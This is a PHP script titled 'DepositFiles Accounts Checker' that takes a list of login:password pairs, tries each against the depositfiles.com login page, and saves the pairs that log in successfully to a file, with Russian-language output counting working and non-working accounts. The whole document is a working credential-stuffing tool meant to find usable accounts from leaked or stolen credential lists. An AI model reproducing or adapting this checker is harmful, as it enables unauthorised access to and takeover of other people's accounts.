DepositFiles Accounts Checker
<?php
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)";
$acclist="accounts.txt";
$vallist="valid.txt";
$account=file($acclist);
$valid=$invalid=0;
function Check($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30);
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";
$out .= "Host: depositfiles.com\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite($fp,$out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp);
return strpos($ans,"autologin=") ? true : false;
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) {
list($login,$pass) = explode(":",trim($account[$i]));
if (Check($login,$pass)) {
echo $login.':'.$pass.'<br />';
flush();
ob_flush();
$fd = fopen($vallist,'a+');
fputs($fd,$account[$i]);
fclose($fd);
++$valid;
}else {++$invalid;}
}
echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>